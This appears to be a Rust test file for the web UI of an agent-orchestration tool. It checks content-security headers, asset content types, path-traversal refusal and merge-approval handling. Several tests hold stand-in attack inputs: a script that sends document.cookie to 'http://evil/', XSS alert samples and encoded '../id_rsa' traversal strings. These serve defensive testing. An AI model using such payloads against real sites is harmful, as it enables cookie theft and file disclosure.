11092 let mut raw = Vec::new();
11093 socket.read_to_end(&mut raw).await.expect("read response");
11094 let split = raw
11097 .windows(4)
11098 .position(|w| w == b"\r\n\r\n")
11099 .expect("a header block");
11100 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11101 let bytes = raw[split + 4..].to_vec();
11102 let status = head
11103 .lines()
11104 .next()
11105 .and_then(|line| line.split_whitespace().nth(1))
11106 .and_then(|code| code.parse().ok())
11107 .expect("a status line");
11108 Res {
11109 status,
11110 headers: head.to_lowercase(),
11111 head,
11112 body: String::from_utf8_lossy(&bytes).into_owned(),
11113 bytes,
11114 }
11115 }
11116
11117 async fn request_bytes(
11123 addr: SocketAddr,
11124 path: &str,
11125 headers: &[(&str, &str)],
11126 body: &[u8],
11127 ) -> Res {
11128 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11129 for (name, value) in headers {
11130 head.push_str(&format!("{name}: {value}\r\n"));
11131 }
11132 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11133 let mut socket = tokio::net::TcpStream::connect(addr)
11134 .await
11135 .expect("connect to the test server");
11136 socket
11137 .write_all(head.as_bytes())
11138 .await
11139 .expect("write request head");
11140 socket.write_all(body).await.expect("write request body");
11141 let mut raw = Vec::new();
11142 socket.read_to_end(&mut raw).await.expect("read response");
11143 let split = raw
11144 .windows(4)
11145 .position(|w| w == b"\r\n\r\n")
11146 .expect("a header block");
11147 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11148 let bytes = raw[split + 4..].to_vec();
11149 let status = head
11150 .lines()
11151 .next()
11152 .and_then(|line| line.split_whitespace().nth(1))
11153 .and_then(|code| code.parse().ok())
11154 .expect("a status line");
11155 Res {
11156 status,
11157 headers: head.to_lowercase(),
11158 head,
11159 body: String::from_utf8_lossy(&bytes).into_owned(),
11160 bytes,
11161 }
11162 }
11163
11164 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11166 let mut state = RunState::new(
11167 PathBuf::from("/repo/magi"),
11168 "main".to_owned(),
11169 "0123456789abcdef".to_owned(),
11170 "Add a web UI\n\nMobile first.".to_owned(),
11171 Config::default(),
11172 );
11173 state.id = id.to_owned();
11174 state.status = status;
11175 let dir = runs.join(id);
11176 std::fs::create_dir_all(&dir).expect("run dir");
11177 std::fs::write(
11178 dir.join("run.json"),
11179 serde_json::to_string_pretty(&state).expect("serialize run"),
11180 )
11181 .expect("write run.json");
11182 }
11183
11184 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11188 let mut state = RunState::new(
11189 PathBuf::from(repo),
11190 "main".to_owned(),
11191 "0123456789abcdef".to_owned(),
11192 "task".to_owned(),
11193 Config::default(),
11194 );
11195 state.id = id.to_owned();
11196 state.status = status;
11197 let dir = runs.join(id);
11198 std::fs::create_dir_all(&dir).expect("run dir");
11199 std::fs::write(
11200 dir.join("run.json"),
11201 serde_json::to_string_pretty(&state).expect("serialize run"),
11202 )
11203 .expect("write run.json");
11204 }
11205
11206 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11207 let body = serde_json::json!({
11208 "schema": 1,
11209 "pid": 4242,
11210 "started_at": Timestamp::now().to_string(),
11211 "updated_at": updated_at.to_string(),
11212 "idle": false,
11213 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11214 "completed": 7,
11215 "polls": 143,
11216 });
11217 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11218 }
11219
11220 fn launch_idle(
11230 _opts: daemon::Opts,
11231 stop: daemon::Stop,
11232 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11233 Box::pin(async move {
11234 while !stop.stopped() {
11235 tokio::time::sleep(Duration::from_millis(2)).await;
11236 }
11237 Ok(())
11238 })
11239 }
11240
11241 fn launch_broken(
11244 _opts: daemon::Opts,
11245 _stop: daemon::Stop,
11246 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11247 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11252 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11253 Box::pin(async move {
11254 Err(anyhow::anyhow!(if first {
11255 "publish the daemon status file: read-only file system"
11256 } else {
11257 "the restarted stand-in failed as well"
11258 }))
11259 })
11260 }
11261
11262 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11271 for _ in 0..SETTLE_STEPS {
11272 let view = fx.get("/api/loop").await.json();
11273 if want(&view) {
11274 return view;
11275 }
11276 tokio::time::sleep(Duration::from_millis(10)).await;
11277 }
11278 panic!(
11279 "the loop never settled: {}",
11280 fx.get("/api/loop").await.json()
11281 );
11282 }
11283
11284 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11286 let store = fx.questions();
11287 let mut q = Question::new(
11288 "20260902-000000-beef".to_owned(),
11289 "implement".to_owned(),
11290 "impl-A".to_owned(),
11291 summary.to_owned(),
11292 "because it matters".to_owned(),
11293 choices.iter().map(|c| (*c).to_owned()).collect(),
11294 );
11295 store.put(&mut q).expect("put question");
11296 q.id
11297 }
11298
11299 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11305 let store = fx.questions();
11306 let mut q = Question::new(
11307 "20260902-000000-beef".to_owned(),
11308 "land".to_owned(),
11309 "fix".to_owned(),
11310 "Merge this?".to_owned(),
11311 "the diff is in the panel".to_owned(),
11312 vec!["merge".to_owned(), "hold".to_owned()],
11313 );
11314 let staging = fx.home.path().join("staging");
11317 std::fs::create_dir_all(&staging).expect("staging dir");
11318 let sources: Vec<PathBuf> = assets
11319 .iter()
11320 .map(|(name, bytes)| {
11321 let path = staging.join(name);
11322 std::fs::write(&path, bytes).expect("write staged asset");
11323 path
11324 })
11325 .collect();
11326 store
11327 .put_panel(&mut q, html, &sources)
11328 .expect("write the panel");
11329 store.put(&mut q).expect("put question");
11330 q.id
11331 }
11332
11333 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11342 seed_talk_at(&fx.talks(), id, status)
11343 }
11344
11345 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11346 std::fs::create_dir_all(store.root()).expect("talks dir");
11347 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11348 .expect("serialize a seat");
11349 let body = serde_json::json!({
11350 "schema": 1,
11351 "id": id,
11352 "repo": "/repo/magi",
11353 "agent": "mock",
11354 "status": status,
11355 "turns": [],
11356 "created_at": Timestamp::now().to_string(),
11357 "updated_at": Timestamp::now().to_string(),
11358 "seat": seat,
11359 });
11360 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11361 store.get(id).expect("the seeded talk has to be readable");
11362 id.to_owned()
11363 }
11364
11365 #[tokio::test]
11366 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11367 let fx = Fixture::start().await;
11368 let id = panel(
11369 &fx,
11370 "<h1>Merge?</h1><img src=\"diff.svg\">",
11371 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11372 );
11373
11374 for path in [
11375 format!("/api/questions/{id}/panel"),
11376 format!("/api/questions/{id}/asset/diff.svg"),
11377 ] {
11378 let res = fx.get(&path).await;
11379 assert_eq!(res.status, 200, "{path}: {}", res.body);
11380 assert_eq!(
11386 res.header("content-security-policy"),
11387 Some(
11388 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11389 font-src data:; base-uri 'none'; form-action 'none'; \
11390 frame-ancestors 'self'"
11391 ),
11392 "{path} is the only thing between a hostile panel and the tailnet"
11393 );
11394 assert_eq!(
11395 res.header("x-content-type-options"),
11396 Some("nosniff"),
11397 "{path}: a browser must not re-decide the type we sent"
11398 );
11399 assert_eq!(
11400 res.header("referrer-policy"),
11401 Some("no-referrer"),
11402 "{path}: a panel must not leak the question id off the machine"
11403 );
11404
11405 let pre = fx.head(&path).await;
11410 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11411 assert_eq!(
11412 pre.header("content-security-policy"),
11413 res.header("content-security-policy"),
11414 "{path}: the preflight carries the same policy"
11415 );
11416 assert_eq!(
11417 pre.header("content-type"),
11418 res.header("content-type"),
11419 "{path}: the preflight carries the same type"
11420 );
11421 }
11422 }
11423
11424 #[tokio::test]
11425 async fn a_panel_reaches_the_browser_byte_for_byte() {
11426 let fx = Fixture::start().await;
11427 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11432 let id = panel(&fx, html, &[]);
11433
11434 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11435
11436 assert_eq!(res.status, 200);
11437 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11438 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11439 assert_eq!(
11440 res.header("content-disposition"),
11441 None,
11442 "the panel itself is rendered in the frame, not downloaded"
11443 );
11444 }
11445
11446 #[tokio::test]
11447 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11448 let fx = Fixture::start().await;
11449 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11450 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11451 let id = panel(
11452 &fx,
11453 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11454 &[("diff.svg", svg), ("shot.png", png)],
11455 );
11456
11457 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11458 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11459
11460 assert_eq!(as_svg.status, 200);
11461 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11462 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11467
11468 assert_eq!(as_png.status, 200);
11469 assert_eq!(as_png.header("content-type"), Some("image/png"));
11470 assert_eq!(
11471 as_png.header("content-disposition"),
11472 None,
11473 "a raster image has no execution surface, so tapping it still shows it"
11474 );
11475 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11476 }
11477
11478 #[tokio::test]
11479 async fn an_html_asset_is_never_served_as_html() {
11480 let fx = Fixture::start().await;
11481 let id = panel(
11482 &fx,
11483 "<p>see the notes</p>",
11484 &[
11485 (
11486 "notes.html",
11487 b"<script>fetch('http://evil/'+document.cookie)</script>",
11488 ),
11489 ("hook.js", b"fetch('http://evil/')"),
11490 ("data.json", b"{}"),
11491 ("HEADLINE.TXT", b"plain"),
11492 ],
11493 );
11494
11495 for name in ["notes.html", "hook.js", "data.json"] {
11496 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11497 assert_eq!(res.status, 200, "{name}: {}", res.body);
11498 assert_eq!(
11503 res.header("content-type"),
11504 Some("application/octet-stream"),
11505 "{name} must not be a type the browser will execute or render"
11506 );
11507 }
11508 let txt = fx
11511 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11512 .await;
11513 assert_eq!(
11514 txt.header("content-type"),
11515 Some("text/plain; charset=utf-8")
11516 );
11517 }
11518
11519 #[tokio::test]
11520 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11521 let fx = Fixture::start().await;
11522 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11523 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11527
11528 for encoded in [
11535 "%2e%2e%2fid_rsa",
11536 "..%2fid_rsa",
11537 "..%5cid_rsa",
11538 "%2e%2e%5cid_rsa",
11539 "diff%00.svg",
11540 "..",
11541 ".hidden",
11542 "%2e%2e%2f%2e%2e%2fid_rsa",
11543 ] {
11544 let res = fx
11545 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11546 .await;
11547 assert_eq!(
11548 res.status, 400,
11549 "`{encoded}` has to be refused by name, not looked up: {}",
11550 res.body
11551 );
11552 assert!(res.json()["error"].is_string(), "{}", res.body);
11553 }
11554
11555 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11561 let res = fx
11562 .get(&format!("/api/questions/{id}/asset/{literal}"))
11563 .await;
11564 assert_eq!(
11565 res.status, 404,
11566 "`{literal}` must not match the asset route at all: {}",
11567 res.body
11568 );
11569 }
11570 }
11571
11572 #[tokio::test]
11573 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11574 let fx = Fixture::start().await;
11575 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11576 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11577
11578 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11582 assert_eq!(none.status, 404, "{}", none.body);
11583 assert!(none.json()["error"].is_string(), "{}", none.body);
11584 assert_eq!(
11585 fx.head(&format!("/api/questions/{plain}/panel"))
11586 .await
11587 .status,
11588 404,
11589 "the preflight is the only way the client can learn this"
11590 );
11591
11592 let missing = fx
11594 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11595 .await;
11596 assert_eq!(missing.status, 404, "{}", missing.body);
11597 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11598
11599 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11601 assert_eq!(
11602 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11603 404
11604 );
11605 }
11606
11607 #[tokio::test]
11608 async fn a_run_with_an_open_question_reads_as_waiting() {
11609 let fx = Fixture::start().await;
11610 let run = "20260902-000000-beef".to_owned();
11611 write_run(&fx.runs(), &run, RunStatus::Implementing);
11612
11613 let before = fx.get("/api/runs").await.json();
11614 assert_eq!(before[0]["waiting"], false, "{before}");
11615
11616 let store = fx.questions();
11617 let mut q = Question::new(
11618 run.clone(),
11619 "implement".to_owned(),
11620 "impl-A".to_owned(),
11621 "Which backend?".to_owned(),
11622 String::new(),
11623 vec!["SQLite".to_owned()],
11624 );
11625 store.put(&mut q).expect("put");
11626
11627 let during = fx.get("/api/runs").await.json();
11628 assert_eq!(during[0]["waiting"], true, "{during}");
11629
11630 q.answer(Answer::Choice("SQLite".to_owned()))
11633 .expect("answer");
11634 store.put(&mut q).expect("put");
11635 let after = fx.get("/api/runs").await.json();
11636 assert_eq!(after[0]["waiting"], false, "{after}");
11637 }
11638
11639 #[tokio::test]
11640 async fn an_open_question_is_listed_and_counted_by_health() {
11641 let fx = Fixture::start().await;
11642 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11643
11644 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11645 let listed = fx.get("/api/questions").await.json();
11646 assert_eq!(listed.as_array().expect("array").len(), 1);
11647 assert_eq!(listed[0]["id"], id);
11648 assert_eq!(listed[0]["status"], "open");
11649 assert_eq!(listed[0]["choices"][1], "Redis");
11650 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11653 }
11654
11655 fn obsolete_approval_state() -> RunState {
11656 let mut state = crate::land::tests::repair_state(true, true);
11657 state.pr = Some(crate::run::PrRecord {
11658 url: "https://github.com/example/repo/pull/42".into(),
11659 number: 42,
11660 state: "open".into(),
11661 checks: "green".into(),
11662 round: 1,
11663 rounds: 4,
11664 red_at_merge: Vec::new(),
11665 });
11666 state
11667 }
11668
11669 #[tokio::test]
11670 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11671 for owner in ["missing", "current", "completed", "later"] {
11672 let fx = Fixture {
11673 home: TempDir::new().unwrap(),
11674 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11675 };
11676 let mut state = obsolete_approval_state();
11677 state.status = RunStatus::Landing;
11678 state.parked = true;
11679 state.driver_exited = true;
11680 let mut q = Question::new(
11681 state.id.clone(),
11682 crate::land::APPROVAL_NODE.into(),
11683 "land".into(),
11684 "Old approval".into(),
11685 "Original evidence".into(),
11686 vec!["merge".into(), "hold".into()],
11687 );
11688 state.land_approval = Some(crate::run::LandApproval {
11689 question: q.id.clone(),
11690 head: "head".into(),
11691 });
11692 state.save_under(fx.home.path()).unwrap();
11693 let stale = state.clone();
11694 fx.questions().put(&mut q).unwrap();
11695 let mut task = Task::new(
11696 "Owner".into(),
11697 "Original instruction".into(),
11698 state.repo.clone(),
11699 Source::Human,
11700 );
11701 task.runs.push(state.id.clone());
11702 task.status = if owner == "completed" {
11703 TaskStatus::Done
11704 } else {
11705 TaskStatus::Parked
11706 };
11707 if owner == "later" {
11708 task.runs.push("later-run".into());
11709 }
11710 if owner != "missing" {
11711 fx.queue().put(&mut task).unwrap();
11712 }
11713 let ui = Arc::new(Ui::new(
11714 fx.queue(),
11715 fx.questions(),
11716 fx.talks(),
11717 fx.runs(),
11718 fx.home.path().into(),
11719 state.repo.clone(),
11720 ));
11721 let response = question_answer(
11722 State(ui),
11723 Path(q.id.clone()),
11724 Ok(Json(NewAnswer {
11725 choice: Some(crate::merge_decision::DISMISS.into()),
11726 text: None,
11727 ..Default::default()
11728 })),
11729 )
11730 .await
11731 .unwrap();
11732 assert_eq!(
11733 response.0.question.resolution().as_deref(),
11734 Some(crate::merge_decision::DISMISS)
11735 );
11736 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11737 assert_eq!(disk.status, RunStatus::Superseded);
11738 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11739 assert!(!crate::merge_decision::resumable_hold(&disk));
11740 assert_eq!(
11741 serde_json::to_value(&disk.pr).unwrap(),
11742 serde_json::to_value(&stale.pr).unwrap()
11743 );
11744 assert_eq!(fx.questions().count_open(), 0);
11745 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11746 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11747 if owner == "missing" {
11748 assert!(fx.queue().list().is_empty());
11749 } else {
11750 let after = fx.queue().get(&task.id).unwrap();
11751 assert_eq!(
11752 after.status,
11753 if owner == "current" {
11754 TaskStatus::Done
11755 } else {
11756 task.status
11757 }
11758 );
11759 assert_eq!(after.runs, task.runs);
11760 assert_eq!(after.instruction, task.instruction);
11761 assert_eq!(after.action_applied(&q.id), owner == "current");
11762 }
11763 }
11764 }
11765
11766 #[tokio::test]
11767 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768 let fx = Fixture::start().await;
11769 let mut state = obsolete_approval_state();
11770 state.status = RunStatus::Landing;
11771 state.parked = true;
11772 state.driver_exited = true;
11773 let mut q = Question::new(
11774 state.id.clone(),
11775 crate::land::APPROVAL_NODE.into(),
11776 "land".into(),
11777 "Superseded PR approval".into(),
11778 "Original review evidence".into(),
11779 vec!["merge".into(), "hold".into()],
11780 );
11781 state.land_approval = Some(crate::run::LandApproval {
11782 question: q.id.clone(),
11783 head: "old-reviewed-head".into(),
11784 });
11785 state.save_under(fx.home.path()).unwrap();
11788 let stale_driver = state.clone();
11789 fx.questions().put(&mut q).unwrap();
11790 let path = fx
11791 .home
11792 .path()
11793 .join("questions")
11794 .join(format!("{}.json", q.id));
11795 let mut legacy = serde_json::to_value(&q).unwrap();
11796 legacy["schema"] = 9.into();
11797 legacy.as_object_mut().unwrap().remove("merge_target");
11798 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803 let answer_path = format!("/api/questions/{}/answer", q.id);
11804 let res = fx.post(&answer_path, Some(&body)).await;
11805 assert_eq!(res.status, 200, "{}", res.body);
11806 let disk = fx.questions().get(&q.id).unwrap();
11807 assert_eq!(
11808 disk.resolution().as_deref(),
11809 Some(crate::merge_decision::DISMISS)
11810 );
11811 assert!(disk.detail.starts_with("Original review evidence"));
11812 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813 assert_eq!(retired.status, RunStatus::Superseded);
11814 assert_eq!(
11815 serde_json::to_value(&retired.pr).unwrap(),
11816 serde_json::to_value(&state.pr).unwrap()
11817 );
11818 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819 assert!(!crate::merge_decision::resumable_hold(&retired));
11820 assert!(fx.queue().list().is_empty());
11821 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822 let addr = Fixture::serve(
11824 fx.home.path(),
11825 PathBuf::from("/repo/magi"),
11826 launch_idle,
11827 None,
11828 )
11829 .await;
11830 let reconnected = Fixture {
11831 home: fx.home,
11832 addr,
11833 };
11834 let listed = reconnected.get("/api/questions").await.json();
11835 assert!(
11836 listed
11837 .as_array()
11838 .unwrap()
11839 .iter()
11840 .all(|q| q["status"] != "open")
11841 );
11842 assert_eq!(listed[0]["id"], q.id, "history remains available");
11843 assert_eq!(
11844 reconnected.get("/api/health").await.json()["questions_open"],
11845 0
11846 );
11847 assert_eq!(
11848 reconnected
11849 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850 .await
11851 .status,
11852 409
11853 );
11854 assert!(
11856 reconnected
11857 .questions()
11858 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859 .is_err()
11860 );
11861 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864 }
11865
11866 #[tokio::test]
11867 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868 let fx = Fixture::start().await;
11869 let mut state = obsolete_approval_state();
11870 state.status = RunStatus::Landing;
11871 state.driver_exited = true;
11872 let mut q = Question::new(
11873 state.id.clone(),
11874 crate::land::APPROVAL_NODE.into(),
11875 "land".into(),
11876 "Obsolete approval".into(),
11877 String::new(),
11878 vec!["merge".into(), "hold".into()],
11879 );
11880 state.land_approval = Some(crate::run::LandApproval {
11881 question: q.id.clone(),
11882 head: "head".into(),
11883 });
11884 state.save_under(fx.home.path()).unwrap();
11885 fx.questions().put(&mut q).unwrap();
11886 let mut task = Task::new(
11887 "Owner".into(),
11888 "Original instruction".into(),
11889 state.repo.clone(),
11890 Source::Human,
11891 );
11892 task.runs = vec![state.id.clone(), "later-run".into()];
11893 fx.queue().put(&mut task).unwrap();
11894 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895 let claim = fx.queue().claim(&task.id).unwrap();
11896 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897 let path = format!("/api/questions/{}/answer", q.id);
11898 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899 assert!(fx.questions().get(&q.id).unwrap().status.open());
11900 drop(claim);
11901 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903 assert!(fx.questions().get(&q.id).unwrap().status.open());
11904 drop(publication);
11905 state.driver_exited = false;
11907 state.driver_pid = None;
11908 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
11910 assert_eq!(
11911 state.liveness_under(fx.home.path(), false),
11912 crate::run::Liveness::Unknown
11913 );
11914
11915 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11916 state.driver_exited = true;
11917 state.land_armed_head = Some("head".into());
11918 state.save_under(fx.home.path()).unwrap();
11919 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11920 state.land_armed_head = None;
11921 state.save_under(fx.home.path()).unwrap();
11922 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11923 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11924 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11925 }
11926
11927 #[tokio::test]
11928 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11929 let fx = Fixture::start().await;
11930 let mut state = obsolete_approval_state();
11931 state.status = RunStatus::Landing;
11932 state.driver_exited = true;
11933 let mut q = Question::new(
11934 state.id.clone(),
11935 crate::land::APPROVAL_NODE.into(),
11936 "land".into(),
11937 "Obsolete approval".into(),
11938 String::new(),
11939 vec!["merge".into(), "hold".into()],
11940 );
11941 state.land_approval = Some(crate::run::LandApproval {
11942 question: q.id.clone(),
11943 head: "head".into(),
11944 });
11945 state.save_under(fx.home.path()).unwrap();
11946 fx.questions().put(&mut q).unwrap();
11947 let mut task = Task::new(
11948 "Owner".into(),
11949 "Original instruction".into(),
11950 state.repo.clone(),
11951 Source::Human,
11952 );
11953 task.runs.push(state.id.clone());
11954 task.status = TaskStatus::Parked;
11955 fx.queue().put(&mut task).unwrap();
11956 state.merge_decision = Some(crate::merge_decision::Decision {
11959 question: q.id.clone(),
11960 target: crate::merge_decision::Target {
11961 pr: state.pr.as_ref().unwrap().url.clone(),
11962 head: "head".into(),
11963 language: "ja".into(),
11964 },
11965 choice: crate::merge_decision::DISMISS.into(),
11966 closed: false,
11967 replacement_run: None,
11968 replacement_pr: None,
11969 });
11970 state.status = RunStatus::Superseded;
11971 state.save_under(fx.home.path()).unwrap();
11972 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11973 let path = format!("/api/questions/{}/answer", q.id);
11974 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11975 let done = fx.queue().get(&task.id).unwrap();
11976 assert_eq!(done.status, TaskStatus::Done);
11977 assert_eq!(done.runs, task.runs);
11978 assert_eq!(done.instruction, task.instruction);
11979 assert!(done.action_applied(&q.id));
11980 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11981 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11982 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11983 }
11984
11985 #[tokio::test]
11986 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11987 let home = TempDir::new().unwrap();
11988 let ui = Arc::new(Ui::new(
11989 Queue::at(home.path().join("queue")),
11990 Questions::at(home.path().join("questions")),
11991 Talks::at(home.path().join("talks")),
11992 home.path().join("runs"),
11993 home.path().to_owned(),
11994 home.path().to_owned(),
11995 ));
11996 let talks = &ui.talks;
11997 let chat =
11998 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11999 let mut q = Question::new(
12000 "run".into(),
12001 crate::land::APPROVAL_NODE.into(),
12002 "land".into(),
12003 "Merge?".into(),
12004 String::new(),
12005 vec!["merge".into(), "hold".into()],
12006 );
12007 q.routed_task = Some("task".into());
12008 q.routed_chat = Some(chat.id.clone());
12009 q.merge_target = Some(crate::merge_decision::Target {
12010 pr: "https://example.test/pull/1".into(),
12011 head: "head-a".into(),
12012 language: "en".into(),
12013 });
12014 ui.questions.put(&mut q).unwrap();
12015 let send = |body| {
12016 question_answer(
12017 State(ui.clone()),
12018 Path(q.id.clone()),
12019 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12020 )
12021 };
12022 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12023 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12024 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12025 assert!(send(wrong_chat).await.is_err());
12026 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12027 assert!(send(stale).await.is_err());
12028 assert!(ui.questions.get(&q.id).unwrap().status.open());
12029 assert!(send(button.clone()).await.is_ok());
12030 assert_eq!(
12031 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032 Some("merge")
12033 );
12034 assert!(send(button).await.is_err());
12035 }
12036
12037 #[tokio::test]
12038 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12039 let home = TempDir::new().unwrap();
12040 let ui = Arc::new(Ui::new(
12041 Queue::at(home.path().join("queue")),
12042 Questions::at(home.path().join("questions")),
12043 Talks::at(home.path().join("talks")),
12044 home.path().join("runs"),
12045 home.path().to_owned(),
12046 home.path().to_owned(),
12047 ));
12048 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12049 let mut q = Question::new(
12050 "run".into(),
12051 crate::land::APPROVAL_NODE.into(),
12052 "land".into(),
12053 "Merge?".into(),
12054 String::new(),
12055 vec!["merge".into(), choice.into()],
12056 );
12057 q.routed_task = Some("task".into());
12058 q.merge_target = Some(crate::merge_decision::Target {
12059 pr: "https://example.test/pull/1".into(),
12060 head: "head-a".into(),
12061 language: "en".into(),
12062 });
12063 ui.questions.put(&mut q).unwrap();
12064 let answer = |c: &str| {
12065 question_answer(
12066 State(ui.clone()),
12067 Path(q.id.clone()),
12068 Ok(Json(
12069 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12070 .unwrap(),
12071 )),
12072 )
12073 };
12074 let _ = answer(choice).await.unwrap();
12075 assert_eq!(
12076 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12077 Some(choice)
12078 );
12079 }
12080 }
12081
12082 #[tokio::test]
12083 async fn a_routed_decision_is_refused_on_the_question_route() {
12084 let home = TempDir::new().unwrap();
12085 let ui = Arc::new(Ui::new(
12086 Queue::at(home.path().join("queue")),
12087 Questions::at(home.path().join("questions")),
12088 Talks::at(home.path().join("talks")),
12089 home.path().join("runs"),
12090 home.path().to_owned(),
12091 home.path().to_owned(),
12092 ));
12093 let mut q = Question::new(
12094 "run".into(),
12095 crate::github_text::ASK_NODE.into(),
12096 "posting-gate".into(),
12097 "Post?".into(),
12098 String::new(),
12099 vec!["use fallback".into()],
12100 );
12101 q.routed_task = Some("task".into());
12102 ui.questions.put(&mut q).unwrap();
12103 let sent = question_answer(
12104 State(ui.clone()),
12105 Path(q.id.clone()),
12106 Ok(Json(
12107 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12108 .unwrap(),
12109 )),
12110 )
12111 .await;
12112 assert!(sent.is_err());
12113 assert!(ui.questions.get(&q.id).unwrap().status.open());
12114 }
12115
12116 #[tokio::test]
12117 async fn merge_decision_api_persists_exact_target_and_selected_action() {
